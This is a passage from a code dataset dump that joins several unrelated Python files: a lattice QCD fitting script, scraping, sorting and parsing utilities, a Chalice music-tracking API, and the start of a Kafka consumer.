\"-o\", \"--output_template\", action='store', \\\n type=str, default=\"./*.dat\" )\n\nparser.add_argument( \"-tsf\", \"--two_state_fit\", action='store_true', \\\n help=\"Performs the two-state fit if supplied\" )\n\nparser.add_argument( \"-f\", \"--data_format\", action='store', \\\n help=\"Data format. Should be 'gpu' or 'cpu'.\", \\\n type=str, default=\"gpu\" )\n\nparser.add_argument( \"-c\", \"--config_list\", action='store', \\\n type=str, default=\"\" )\n\nparser.add_argument( \"-sn\", \"--source_number\", action='store', \\\n type=int, default=88 )\n\nargs = parser.parse_args()\n\n#########\n# Setup #\n#########\n\n# Set MPI values\n\nmpi_confs_info = mpi_fncs.lqcdjk_mpi_init()\n\ncomm = mpi_confs_info[ 'comm' ]\nrank = mpi_confs_info[ 'rank' ]\n\n# Input directories and filename templates\n\ntwopDir = args.twop_dir\n\ntwop_template = args.twop_template\n\n# Last point to fit\n\nrangeEnd = args.fit_range_end\n\n# Info on what to analyze\n\nparticle = args.particle\n\n# Other info\n\nbinSize = args.binSize\n\nmomSq = args.mom_squared\n\noutput_template = args.output_template\n\ntsf = args.two_state_fit\n\ndataFormat = args.data_format\n\nsrcNum = args.source_number\n\n# Get configurations from given list or from given \n# threep directory if list not given\n\nmpi_confs_info[ 'configList' ] = fncs.getConfigList( args.config_list, \n twopDir )\nconfigNum = len( mpi_confs_info[ 'configList' ] )\nmpi_confs_info[ 'configNum' ] = configNum\n\nbinSize = args.binSize\nmpi_confs_info[ 'binSize' ] = binSize\n\n# Set mpi configuration information\n\nmpi_fncs.lqcdjk_mpi_confs_info( mpi_confs_info )\n\nbinNum = mpi_confs_info[ 'binNum_glob' ]\nbinNum_loc = mpi_confs_info[ 'binNum_loc' ]\nbinList_loc = mpi_confs_info[ 'binList_loc' ]\nconfigList_loc = mpi_confs_info[ 'configList_loc' ]\nrecvCount = mpi_confs_info[ 'recvCount' ]\nrecvOffset = mpi_confs_info[ 'recvOffset' ]\n\n# Check inputs\n\nassert particle in particle_list, \\\n \"Error: Particle not supported. \" \\\n + \"Supported particles: \" + str( particle_list )\n\nassert dataFormat in format_list, \\\n \"Error: Data format not supported. \" \\\n + \"Supported particles: \" + str( format_list )\n\n# Read momentum list\n\nmomList = rw.readMomentaList( twopDir, twop_template, \\\n configList_loc[ 0 ], particle, \\\n srcNum, momSq, dataFormat, mpi_confs_info )\n\nmomBoostNum = len( momList )\n\n############################\n# Read Two-point Functions #\n############################\n\n# Zero momentum two-point functions\n# twop[ p, c, t ]\n\nif momSq > 0:\n\n twop_p = rw.readTwopFile_zeroQ( twopDir, configList_loc, configNum, \\\n twop_template, srcNum, momSq, \\\n dataFormat, mpi_confs_info )\n\nelse:\n\n twop_p = np.array( [ rw.readTwopFile_zeroQ( twopDir, configList_loc, \n configNum, twop_template, \n srcNum, 0, dataFormat,\n mpi_confs_info ) ] )\n\nT = twop_p.shape[ -1 ]\n\n# Time dimension length after fold\n\nT_fold = T // 2 + 1\n\n##########################################\n# Jackknife and fold two-point functions #\n##########################################\n\ntwop_jk_p = np.zeros( ( momBoostNum, binNum, T_fold ) )\nmEff_p = np.zeros( ( momBoostNum, binNum, T_fold ) )\n\nfor ip in range( momBoostNum ):\n\n if binNum_loc:\n\n twop_jk_p_loc = fncs.jackknifeBinSubset( twop_p[ ip ], binSize, \\\n binList_loc )\n\n # twop_fold[ b, t ]\n\n twop_fold_loc = fncs.fold( twop_jk_p_loc )\n\n mEff_p_loc = pq.mEffFromSymTwop( twop_fold_loc )\n\n else:\n\n twop_fold_loc = np.array( [] )\n\n mEff_p_loc = np.array( [] )\n\n\n comm.Allgatherv( twop_fold_loc, [ twop_jk_p[ ip ], recvCount * T_fold, \\\n recvOffset * T_fold, MPI.DOUBLE ] )\n comm.Allgatherv( mEff_p_loc, [ mEff_p[ ip ], recvCount * T_fold, \\\n recvOffset * T_fold, MPI.DOUBLE ] )\n\n# End loop over p\n\n# Average over momenta\n\ntwop_jk = np.average( twop_jk_p, axis=0 )\nmEff = np.average( mEff_p, axis=0 )\n\n\n###############################\n# Fit the two-point functions #\n###############################\n\n\n# Fit the effective mass and two-point functions \n\nif np.any( np.isnan( mEff ) ):\n\n rangeEnd = min( np.where( np.isnan( mEff ) )[-1] ) - 1\n\n# fitResults( fitParams, chiSq, t_low )\n\nmEff_fitResults, twop_fitResults, mEff_tsf_fitResults \\\n = fit.testEffEnergyTwopFit( mEff, twop_jk, rangeEnd,\n momSq, L, particle,\n tsf, mpi_confs_info )\n\nif rank == 0:\n\n # Average twop over bins\n\n twop_avg = np.average( twop_jk, axis=-2 )\n twop_err = fncs.calcError( twop_jk, binNum, axis=-2 )\n\n twop_filename = rw.makeFilename( output_template, \n \"twop\" )\n rw.writeAvgDataFile( twop_filename, twop_avg, twop_err )\n\n mEff_avg = np.average( mEff, axis=-2 )\n mEff_err = fncs.calcError( mEff, binNum, axis=-2 )\n\n mEff_filename = rw.makeFilename( output_template, \n \"mEff\" )\n rw.writeAvgDataFile( mEff_filename, mEff_avg, mEff_err )\n\n # mEff_avg[ t ]\n\n for fitR in mEff_fitResults:\n\n fitParams = fitR[ 0 ]\n chiSq = fitR[ 1 ]\n rangeStart = fitR[ 2 ]\n\n chiSq_avg = np.average( chiSq, axis=0 )\n chiSq_err = fncs.calcError( chiSq, binNum )\n \n mEff_fit_avg = np.average( fitParams, axis=0 )\n mEff_fit_err = fncs.calcError( fitParams, binNum )\n \n mEff_outputFilename = rw.makeFilename( output_template, \n \"mEff_fit_t_low_{:0>2}\", \n rangeStart )\n rw.writeFitDataFile( mEff_outputFilename, mEff_fit_avg, \\\n mEff_fit_err, rangeStart, rangeEnd )\n \n mEff_chiSqOutputFilename \\\n = rw.makeFilename( output_template, \n \"mEff_chiSq_t_low_{:0>2}\", \n rangeStart )\n rw.writeFitDataFile( mEff_chiSqOutputFilename, chiSq_avg, \\\n chiSq_err, rangeStart, rangeEnd )\n\n # End loop over mEff fit results\n\n for fitR in twop_fitResults:\n\n fitParams = fitR[ 0 ]\n chiSq = fitR[ 1 ]\n rangeStart = fitR[ 2 ]\n\n if tsf:\n\n chiSqOutputFilename \\\n = rw.makeFilename( output_template,\n \"twop_2sf_chiSq_t_low_{:0>2}\", \n rangeStart )\n\n fitParams_avg = np.concatenate( ( [ 0, 0, 0 ], \\\n np.average( fitParams, \\\n axis=0 ) ) )\n fitParams_err = np.concatenate( ( [ 0, 0, 0 ], \\\n fncs.calcError( fitParams, \\\n binNum ) ) )\n \n fitParamsOutputFilename \\\n = rw.makeFilename( output_template,\n \"twop_2sf_params_t_low_{:0>2}\",\n rangeStart )\n rw.writeTSFParamsFile( fitParamsOutputFilename, \\\n fitParams_avg, fitParams_err )\n \n # Calculate fitted curve\n\n c0 = fitParams[ :, 0 ]\n c1 = fitParams[ :, 1 ]\n E0 = fitParams[ :, 2 ]\n E1 = fitParams[ :, 3 ]\n \n curve, ts = fit.calcmEffTwoStateCurve( np.ones( binNum ), \\\n c1/c0, E0, E1, T, \\\n rangeStart, \\\n rangeEnd )\n \n #curve, ts = fit.calcTwopTwoStateCurve( c0, c1, \\\n # E0, E1, T, \\\n # rangeStart, \\\n # rangeEnd )\n \n curve_avg = np.average( curve, axis=0 )\n curve_err = fncs.calcError( curve, binNum )\n \n curveOutputFilename \\\n = rw.makeFilename( output_template,\n \"twop_2sf_curve_t_low_{:0>2}\",\n rangeStart )\n rw.writeAvgDataFile_wX( curveOutputFilename, ts, \\\n curve_avg, curve_err )\n \n else: # One-state fit\n \n chiSqOutputFilename \\\n = rw.makeFilename( output_template, \n \"twop_oneStateFit_chiSq_t_low_{:0>2}\",\n rangeStart )\n \n # End one-state fit\n\n chiSq_avg = np.average( chiSq, axis=0 )\n chiSq_err = fncs.calcError( chiSq, binNum )\n \n # Write output files\n\n rw.writeFitDataFile( chiSqOutputFilename, chiSq_avg, \\\n chiSq_err, rangeStart, rangeEnd )\n\n # End loop over fit results\n\n for fitR in mEff_tsf_fitResults:\n\n fitParams = fitR[ 0 ]\n chiSq = fitR[ 1 ]\n rangeStart = fitR[ 2 ]\n \n c = fitParams[ :, 0 ]\n E0 = fitParams[ :, 1 ]\n E1 = fitParams[ :, 2 ]\n \n fitParams_avg = np.concatenate( ( [ 0, 0, 0, 1 ], \\\n np.average( fitParams, \\\n axis=0 ) ) )\n fitParams_err = np.concatenate( ( [ 0, 0, 0, 1 ], \\\n fncs.calcError( fitParams, \\\n binNum ) ) )\n \n chiSq_avg = np.average( chiSq, axis=0 )\n chiSq_err = fncs.calcError( chiSq, binNum )\n \n # Calculate fitted curve\n\n curve, ts = fit.calcmEffTwoStateCurve( np.ones( binNum ), \\\n c, E0, E1, T, \\\n rangeStart, \\\n rangeEnd )\n \n curve_avg = np.average( curve, axis=0 )\n curve_err = fncs.calcError( curve, binNum )\n \n # Write output files\n\n fitParamsOutputFilename \\\n = rw.makeFilename( output_template,\n \"mEff_2sf_params_t_low_{:0>2}\", \n rangeStart )\n rw.writeTSFParamsFile( fitParamsOutputFilename, \\\n fitParams_avg, fitParams_err )\n \n chiSqOutputFilename \\\n = rw.makeFilename( output_template,\n \"mEff_2sf_chiSq_t_low_{:0>2}\", \n rangeStart )\n rw.writeFitDataFile( chiSqOutputFilename, chiSq_avg, \\\n chiSq_err, rangeStart, rangeEnd )\n\n curveOutputFilename \\\n = rw.makeFilename( output_template,\n \"mEff_2sf_curve_t_low_{:0>2}\", \n rangeStart )\n rw.writeAvgDataFile_wX( curveOutputFilename, ts, \\\n curve_avg, curve_err )\n \n # End loop over fit results\n# End first process\n","repo_name":"cjlauer/LatticeQCD_Jackknife","sub_path":"Python/test_mEff.py","file_name":"test_mEff.py","file_ext":"py","file_size_in_byte":12581,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"37372564562","text":"import tensorflow as tf\nimport matplotlib.pyplot as plt\nmnist=tf.keras.datasets.mnist\n(train_x,train_y),(test_x,test_y)=mnist.load_data()\n\nprint(\"Training set: \",len(train_x))\nprint(\"Test set:\",len(test_x))\n\nplt.imshow(train_x[3],cmap=\"gray\")\nplt.show()","repo_name":"chaozuoye/ai","sub_path":"神网/unit7/test_75.py","file_name":"test_75.py","file_ext":"py","file_size_in_byte":253,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"42898978667","text":"# -*- coding: utf-8 -*-\nimport scrapy\nimport re\nimport logging\nfrom scrapy.selector import Selector\nfrom amazonFrontCrawl.items import FeedbackItem\nfrom scrapy.http import HtmlResponse,Request\nimport pymysql\nfrom amazonFrontCrawl import settings\nimport time\nfrom datetime import datetime,timedelta\n\nclass GetshopproductsSpider(scrapy.Spider):\n name = \"feedback\"\n #zone = 'us'\n\n # custom settings , will overwrite the setting in settings.py\n custom_settings = {\n 'ITEM_PIPELINES': {'amazonFrontCrawl.pipelines.FeedbackPipeline': 300}\n }\n\n def start_requests(self):\n user = settings.MYSQL_USER\n passwd = settings.MYSQL_PASSWD\n db = settings.MYSQL_DBNAME\n host = settings.MYSQL_HOST\n conn = pymysql.connect(\n user=user,\n passwd=passwd,\n db=db,\n host=host,\n charset=\"utf8\",\n use_unicode=True\n )\n cursor = conn.cursor()\n cursor.execute(\n 'SELECT distinct shop_url as url,shop_name,zone FROM '+settings.AMAZON_REF_SHOP_LIST+' where type = \"feedback\";'\n )\n\n rows = cursor.fetchall()\n time_id = int(time.time())\n #print(rows)\n for row in rows:\n # yield self.make_requests_from_url(row[0])\n yield Request(row[0], callback=self.parse, meta={'time_id': time_id,'shop_name':row[1],'zone':row[2]})\n conn.close()\n\n def parse(self, response):\n logging.info(\"GetshopproductsSpider parse start .....\")\n\n time_id = response.meta['time_id']\n shop_name = response.meta['shop_name']\n zone = response.meta['zone']\n se = Selector(response)\n print(response)\n #print(se)\n # get all products\n\n feedback_table = se.xpath('//*[@id=\"feedback-summary-table\"]//tr[5]//text()')\n feedback_data=[]\n for td in feedback_table:\n td_text = td.extract()\n td_text = re.sub(\"\\D\", \"\", td_text)\n if td_text:\n feedback_data.append(int(td_text))\n item = FeedbackItem()\n now = datetime.now()\n item['date'] = now.strftime(\"%Y-%m-%d\")\n item['zone'] = zone\n item['shop_name'] = shop_name\n item['last_30_days'],item['last_90_days'],item['last_12_months'],item['lifetime'] = feedback_data\n item['create_time'] = time_id\n item['update_time'] = time_id\n yield item","repo_name":"zhat/amazonFrontCrawl","sub_path":"amazonFrontCrawl/spiders/feedback_spider.py","file_name":"feedback_spider.py","file_ext":"py","file_size_in_byte":2424,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"15399027819","text":"#!/usr/bin/env python\n# encoding: utf-8\n\ndef shellsort(arr):\n\n size = len(arr)\n gap = int(size/2)\n\n while gap>0:\n for i in range(gap, size):\n j = i - gap\n while j>=0 and arr[j]>arr[j+gap]:\n (arr[j], arr[j+gap]) = (arr[j+gap], arr[j])\n j -= gap\n gap = int(gap/2)\n for i in range(size):\n print(arr[i])\n\narr = [12, 45, 11, 6, 123, 43, 55, 87]\n\nshellsort(arr)\n","repo_name":"crafteverywhere/ProblemSets","sub_path":"clrs/sort/python/shell-sort.py","file_name":"shell-sort.py","file_ext":"py","file_size_in_byte":441,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"12511627694","text":"import csv\n\n\nclass DraftKingsParser:\n def __init__(self, csv_filepath: str):\n with open(csv_filepath) as csv_file:\n csv_reader = csv.DictReader(csv_file, delimiter=',')\n rows = []\n for row in csv_reader:\n rows.append({\n \"position\": row[\"Position\"],\n \"name\": row[\"Name\"],\n \"id\": row[\"ID\"],\n \"roster_position\": row[\"Roster Position\"],\n \"salary\": row[\"Salary\"],\n \"game\": row[\"Game Info\"],\n \"team_abbr\": row[\"TeamAbbrev\"],\n \"avg_points\": row[\"AvgPointsPerGame\"]\n })\n self.players = rows\n self.player_count = len(rows)\n","repo_name":"n-roth12/DFSLineupOptimizer","sub_path":"parsers/DraftKingsParser.py","file_name":"DraftKingsParser.py","file_ext":"py","file_size_in_byte":761,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"7"} +{"seq_id":"30098366189","text":"\"\"\" 220622 19:30 항해 32번 DFS와 BFS \"\"\"\n'''\n아이디어: \n* 근접노드를 담아두는 N 길이의 2차원 배열을 생성하기\n* 노드가 입력될 때 값을 뒤집어줘서 2차원 배열에 해당 인덱스에 넣어주기\n* visited 리스트를 만들어서 이 안에 없을 경우 들르게 하기\n'''\nimport sys\nfrom collections import deque\ninp = sys.stdin.readline\n\nn, m, v = map(int, inp().split())\nadj_nodes = [[] for i in range(n)]\ndfs = deque()\nbfs = deque()\n\nfor _ in range(m): # 인접노드 완성시키기\n adj_node = list(map(int, inp().split()))\n adj_nodes[adj_node[0]-1].append(adj_node[1])\n adj_nodes[adj_node[1]-1].append(adj_node[0])\n\n[i.sort() for i in adj_nodes] # 들어온 값 sort로 작은 값이 앞에 가게 정렬\n\n# DFS\nvisited = list()\ndfs.append(v) # stack (빼주면서 visited로 옮긴다.)\n\n'''강의 코드 따라친 블록'''\n# dfs_nodes = adj_nodes[::-1]\n# while dfs:\n# current_node = dfs.pop()\n# visited.append(current_node)\n# for i in adj_nodes[current_node-1]:\n# if i not in visited:\n# dfs.append(i)\n\n# 시작점 v에서 DFS 수행\nvisited.append(v)\nwhile len(visited) != n and len(dfs) != 0: \n # visited가 n 만큼 되는 순간 모든 노드를 들른것으로 보고 탈출. 또는 더이상 갈수 있는곳이 없다면 탈출\n for i in adj_nodes[dfs[-1]-1]: # 현재 노드의 주변노드를 기준으로 안들린곳을 탐색하기\n for j in adj_nodes[i]:\n if j in visited:\n continue\n visited.append(j)\n dfs.append(j)\n break\n \n dfs.pop()\n # 다 들른 경우에 길이 없으면 뒤로 돌아나가면서 전 노드로 이동 (이 때 뒤로 돌아가는게 바로 pop을 해버리면서 전전단계로 돌아간다)\n \n[print(i, end=' ') for i in visited]\nprint()\n\n# BFS\nvisited = list()\nbfs.append(v)\nvisited.append(v)\n\nwhile len(visited) != n and len(bfs) != 0:\n for i in adj_nodes[bfs[0]-1]:\n if i not in visited:\n visited.append(i)\n bfs.append(i)\n \n bfs.popleft()\n # 더 갈곳이 없을 때 그 값을 popleft 시켜주기\n \n[print(i, end=' ') for i in visited]","repo_name":"FrancisJeon/Baekjoon-python","sub_path":"BOJ_01260idxEr.py","file_name":"BOJ_01260idxEr.py","file_ext":"py","file_size_in_byte":2220,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"12101017938","text":"from django.db.models.signals import post_save\nfrom django.dispatch import receiver\nfrom django.core.mail import send_mail\n\nfrom .models import Reply\n\n\n@receiver(post_save, sender=Reply)\ndef reply_created(instance, created, **kwargs):\n if not created:\n return\n\n reply = Reply.objects.get(id=instance.pk)\n send_mail(\n subject='New reply',\n message=f'{reply.author.username} responded to the post - \"{reply.post.title}\"!',\n from_email=None,\n recipient_list=[reply.post.author.email],\n )\n","repo_name":"FanatikLeo2/Project_bulletin_board","sub_path":"bulletin_board/bulletin_board_app/signals.py","file_name":"signals.py","file_ext":"py","file_size_in_byte":532,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"32296185019","text":"import cx_Freeze\r\nimport sys\r\nimport os \r\nbase = None\r\n\r\nif sys.platform == 'win32':\r\n base = \"Win32GUI\"\r\n\r\nos.environ['TCL_LIBRARY'] = r\"C:\\Program Files\\Python311\\tcl\\tcl8.6\"\r\nos.environ['TK_LIBRARY'] = r\"C:\\Program Files\\Python311\\tcl\\tk8.6\"\r\n\r\nexecutables = [cx_Freeze.Executable(\"\", base=base, icon=\"icon.ico\")]\r\n\r\n\r\ncx_Freeze.setup(\r\n name = \"Digital Clock\",\r\n options = {\"build_exe\": {\"packages\":[\"tkinter\",\"os\"], \"include_files\":[\"icon.ico\",'tcl86t.dll','tk86t.dll', 'icons2']}},\r\n version = \"0.01\",\r\n description = \"Tkinter Application\",\r\n executables = executables\r\n )\r\n","repo_name":"sksalahuddin2828/Python","sub_path":"software_edit/setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":601,"program_lang":"python","lang":"en","doc_type":"code","stars":200,"dataset":"github-code","pt":"78"} +{"seq_id":"38335321096","text":"import pandas as pd\n# Argparse \nimport argparse\nparser = argparse.ArgumentParser(description='Code for Calculator.')\nparser.add_argument('--buyCount', help='Buy count Integer value.- default=6', default='6')\nparser.add_argument('--rentCount', help='Rent count Integer value.- default=2', default='2')\nparser.add_argument('--shortCount', help='Short Term count Integer value.- default=1', default='1')\nargs = parser.parse_args()\n\n\"\"\"\nCalculation Rules \nbuy = 10 # if buy > 5 - then Pound 10 Bonus\nrent = 5 # whenever rent leads > 8 - then Add 10% to Total Base Price \nshort_trm = 2.5\n\"\"\"\n\nbuyC = args.buyCount\nprint(buyC)\nrentC = args.rentCount\nshortC = args.shortCount\n\n\n# def calc_indlInput(p_rule = \" \"):\n# counter_n = 0 \n# if p_rule:\n# counter_n +=1\n# print(\"counter_n ---\" ,counter_n)\n# if p_rule == \"buy\":\n# buy = 10\n# else:\n# buy = 0\n# if p_rule == \"rent\":\n# rent = 5\n# else:\n# rent = 0 \n# if p_rule == \"shrt\":\n# short = 2.5\n# else:\n# short = 0\n# return buy , rent , short ,counter_n\n\n#userInput = input()#Alternative of ARGPARSE - here we provide Individual inputs like - buy , rent ...\n#buy , rent , short , counter_n = calc_indlInput(userInput)\n\n# buy , rent , short , counter_n = calc_input(userInput)\n# print(\"buy , rent , short , counter_n---\", buy , rent , short , counter_n)\n\n# dict_calc = {}\n# dict_calc[\"ls_buy\"] = []\n# dict_calc[\"ls_rent\"] = []\n# dict_calc[\"ls_shrt_trm\"] = []\n\nls_buy = []\nls_rent = []\nls_short_trm = []\ndfA = pd.DataFrame(columns=[\"buy\",\"rent\",\"short_trm\"]) \n\ndef calc_rules(buyC , rentC , shortC):\n counter_n = 0 \n ls_buy.append(buyC)\n ls_rent.append(rentC)\n ls_short_trm.append(shortC)\n # while counter_n < 6:\n # counter_n +=1\n # print(\"counter_n ---\" ,counter_n)\n #dfA.loc[counter_n+1] = [ls_buy[0]] + [ls_rent[0]] + [ls_short_trm[0]]\n dfA.loc[1] = [ls_buy[0]] + [ls_rent[0]] + [ls_short_trm[0]]\n return dfA\n\ndfA = calc_rules(buyC , rentC , shortC)\n#print(\"dfA------\",dfA)\ndfA.to_csv('my_csv.csv', mode='a', header=False)\n#\ndfCSV = pd.read_csv('my_csv.csv')\nprint(\" \"*90)\nprint(\"dfCSV------BELOW-----------------------\",type(dfCSV))\nprint(\"dfCSV------\",print(dfCSV))\n#\ndef bonusCalc(dfCSV):\n dfCSV.columns = ['temp','buy','rent','short']\n print(dfCSV)\n buySum = dfCSV[\"buy\"].sum()\n div_varbuySum = buySum/50 \n if div_varbuySum in list(range(1,100)):\n print(\"div_varbuySum-----additional_bonus = True-----\")\n buy_bonus = 1\n else:\n buy_bonus = 0\n\n rentSum = dfCSV[\"rent\"].sum()\n div_rentSum = rentSum/40\n print(div_rentSum)\n if div_rentSum in list(range(1,100)):\n print(\"div_rentSum---additional_bonus = True-----\")\n rent_bonus = 1\n else:\n rent_bonus = 0\n shortSum = dfCSV[\"short\"].sum()\n print(\"buySum-------\",buySum)\n print(\"rentSum------\",rentSum)\n print(\"shortSum-----\",shortSum)\n\nbonusCalc(dfCSV)\n\n\n\n\n","repo_name":"RohitDhankar/Machine-Learning-with-Python_ML_Py","sub_path":"src/PythonBasics/temp_scripts/d.py","file_name":"d.py","file_ext":"py","file_size_in_byte":2969,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"78"} +{"seq_id":"72022353211","text":"import os\nimport sys\n\nBOOK_PATH = 'book/book.txt'\nPAGE_SIZE = 1050\n\nbook: dict[int, str] = {}\n\n\n# Функция, возвращающая строку с текстом страницы и ее размер\ndef _get_part_text(text: str, start: int, size: int) -> tuple[str, int]:\n sign = [',', '.', '!', '?', ':', ';']\n full_text = ''\n\n for i in range(start, len(text)):\n full_text += text[i]\n if len(full_text) >= size:\n break\n while True:\n if full_text[-1] in sign and full_text[-2] in sign and full_text[-3] in sign:\n full_text = full_text[:-3]\n elif full_text[-1] in sign and full_text[-2] in sign:\n full_text = full_text[:-2]\n elif full_text[-1] not in sign:\n full_text = full_text[:-1]\n else:\n break\n return full_text, len(full_text)\n\n\n# Функция, формирующая словарь книги\ndef prepare_book(path: str) -> None:\n with open(path, encoding='utf-8') as f:\n file = f.read().rstrip()\n step = 0\n full_page = len(file) // PAGE_SIZE + 2\n page = 1\n while page != full_page:\n book[page] = _get_part_text(file, step, PAGE_SIZE)[0].lstrip()\n step += _get_part_text(file, step, PAGE_SIZE)[1]\n page += 1\n\n\n# Вызов функции prepare_book для подготовки книги из текстового файла\nprepare_book(os.path.join(sys.path[0], os.path.normpath(BOOK_PATH)))","repo_name":"zyzz777666/AioGramBook","sub_path":"services/file_handling.py","file_name":"file_handling.py","file_ext":"py","file_size_in_byte":1495,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"21738763669","text":"import csv\nimport logging\nimport os\nimport re\nfrom datetime import date, datetime\nfrom functools import partial\nfrom io import StringIO\n\nimport boto3\nimport pytz\nfrom boto3.dynamodb.conditions import Key\nfrom chalice import Chalice, CORSConfig, Response\n\n# from ENV vars\n# import secrets; print(secrets.token_urlsafe(24))\nAUDD_CALLBACK_SECRET = os.environ[\"AUDD_CALLBACK_SECRET\"]\nDYNAMODB_TABLE = os.environ[\"DYNAMODB_TABLE\"]\n\n# chalice app\napp = Chalice(app_name=\"doyoutrackid\")\napp.log.setLevel(logging.DEBUG)\ncors_config = CORSConfig(allow_origin=\"*\")\n\n# dynamo db\ndynamodb = boto3.resource(\"dynamodb\")\ntable = dynamodb.Table(DYNAMODB_TABLE)\n\n# misc\ndate_format = \"%Y-%m-%d\"\ndatetime_format = \"%Y-%m-%d %H:%M:%S%z\"\naudd_datetime_format = \"%Y-%m-%d %H:%M:%S\"\n\n# regex sub partial to remove everything that\n# is in brackets \"() []\" and\n# are non alphanumeric characters but\n# keep spaces\nclean_string = partial(re.sub, re.compile(r\"\\([^)]*\\)|\\[[^)]*\\]|[^a-zA-Z0-9\\s]\"), \"\")\n\nlondon_tz = pytz.timezone(\"Europe/London\")\naudd_tz = pytz.timezone(\"Etc/GMT-3\")\n\n\n# helper functions\ndef as_london(datetime_obj):\n return datetime_obj.astimezone(london_tz)\n\n\ndef get_tracks_of(start_date_obj, end_date_obj=None, reverse=True):\n if end_date_obj is None:\n # query database table for entries of date_obj, single day\n filtering_exp = Key(\"played_date\").eq(start_date_obj.strftime(date_format))\n db_response = table.query(KeyConditionExpression=filtering_exp)\n\n else:\n # scan database table for entries of date_obj, range of days\n filtering_exp = Key(\"played_date\").between(\n start_date_obj.strftime(date_format), end_date_obj.strftime(date_format)\n )\n db_response = table.scan(FilterExpression=filtering_exp)\n\n # sort by datetime\n db_response[\"Items\"].sort(\n reverse=reverse,\n key=lambda item: datetime.strptime(item[\"played_datetime\"], datetime_format),\n )\n\n return db_response[\"Items\"]\n\n\ndef is_duplicate(track_a, track_b, compare_keys=[\"artist\", \"title\"]):\n return all(\n clean_string(track_a[key]).strip() == clean_string(track_b[key]).strip()\n for key in compare_keys\n )\n\n\ndef any_duplicate(new_track, tracks_of_today):\n return any(is_duplicate(new_track, saved_track) for saved_track in tracks_of_today)\n\n\n# lambda functions\n@app.route(\"/archive/{day}/{month}/{year}\", methods=[\"GET\"], cors=cors_config)\ndef archive(day, month, year):\n day_string = f\"{year}-{month}-{day}\"\n requested_day = datetime.strptime(day_string, date_format)\n tracks_of_requested_day = get_tracks_of(requested_day, reverse=False)\n\n return {\"message\": f\"{day_string} played tracks\", \"tracks\": tracks_of_requested_day}\n\n\n@app.route(\"/today\", methods=[\"GET\"], cors=cors_config)\ndef today():\n today = date.today()\n tracks_of_today = get_tracks_of(today)\n\n return {\"message\": \"today's played tracks\", \"tracks\": tracks_of_today}\n\n\n@app.route(\n \"/csv/{sday}/{smonth}/{syear}/{eday}/{emonth}/{eyear}\",\n methods=[\"GET\"],\n cors=cors_config,\n)\ndef as_csv(sday, smonth, syear, eday, emonth, eyear):\n start_day_string = f\"{syear}-{smonth}-{sday}\"\n end_day_string = f\"{eyear}-{emonth}-{eday}\"\n\n start_requested_day = datetime.strptime(start_day_string, date_format)\n end_requested_day = datetime.strptime(end_day_string, date_format)\n\n # adds leading zeros to day and month\n start_day_string = start_requested_day.strftime(date_format)\n end_day_string = end_requested_day.strftime(date_format)\n filename = f\"{start_day_string}_{end_day_string}.csv\"\n\n headers = {\n \"Content-Type\": \"text/csv\",\n \"Content-Disposition\": f\"attachment; filename={filename}\",\n }\n\n tracks = get_tracks_of(\n start_requested_day, end_date_obj=end_requested_day, reverse=False\n )\n\n fieldnames = set()\n for track in tracks:\n fieldnames.update(list(track.keys()))\n fieldnames = list(fieldnames)\n\n string_io = StringIO()\n if isinstance(tracks, list) and len(tracks) > 0:\n writer = csv.DictWriter(string_io, fieldnames=fieldnames)\n writer.writeheader()\n writer.writerows(tracks)\n csv_string = string_io.getvalue()\n else:\n csv_string = \"\"\n\n return Response(body=csv_string, headers=headers)\n\n\n@app.route(\n f\"/{AUDD_CALLBACK_SECRET}\",\n methods=[\"POST\"],\n cors=cors_config,\n content_types=[\"application/json\"],\n)\ndef audd_callback():\n response = app.current_request.json_body\n\n if response[\"status\"] == \"success\":\n result = response[\"result\"]\n\n now_london = as_london(datetime.now())\n audd_datetime = datetime.strptime(result[\"timestamp\"], audd_datetime_format)\n audd_london = as_london(audd_tz.localize(audd_datetime))\n\n # choose track with highest score\n n_results = len(result[\"results\"])\n result[\"results\"].sort(\n reverse=True,\n key=lambda item: item[\"score\"],\n )\n new_track = result[\"results\"][0]\n app.log.debug(f\"new_track: {new_track}\")\n\n # get latest tracks from database to check if duplicate\n tracks_of_today = get_tracks_of(date.today())\n\n # check for duplicate here\n if tracks_of_today and any_duplicate(new_track, tracks_of_today):\n return {\"message\": \"this was a duplicate\"}\n else:\n # write new track into database\n item = {\n \"received_datetime\": now_london.strftime(datetime_format),\n \"played_date\": audd_london.strftime(date_format),\n \"played_datetime\": audd_london.strftime(datetime_format),\n \"out_of\": n_results,\n }\n item.update(new_track)\n table.put_item(Item=item)\n\n return {\"message\": \"added new track\"}\n else:\n error = response[\"notification\"][\"notification_message\"]\n app.log.debug(error)\n\n return {\"message\": f\"AUDD error: {error}\"}\n","repo_name":"Rassibassi/doyoutrackid","sub_path":"backend/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":5949,"program_lang":"python","lang":"en","doc_type":"code","stars":40,"dataset":"github-code","pt":"78"} +{"seq_id":"74610715450","text":"# -*- encoding: utf-8 -*-\n'''\n@Description: Kafka多线程消费端\n@Date: 2023/06/12 18:00:00\n@Author: Bohan Yang\n@version: 2.1\n'''\n\nfrom kafka import KafkaConsumer\nfrom concurrent.futures import ThreadPoolExecutor, as_completed\nfrom kafka.structs import TopicPartition\nimport cv2\nimport time\nimport socket\nimport torch\nimport requests\nimport threading\nimport numpy as np\nimport urllib.request\nfrom check_similarity import p_hash_similarity\nfrom yolov5_62.detect_new import run\nimport check_exit_sign\nimport check_exbox\nimport json\nimport os\n\n\ndef read_img_from_url(url):\n '''\n 从url中读取图片(cv2格式)\n :param url: 图片链接\n :return: img\n '''\n while True:\n res = urllib.request.urlopen(url)\n status_code = res.getcode()\n if status_code == 200:\n print(\"Request successful.\")\n break\n 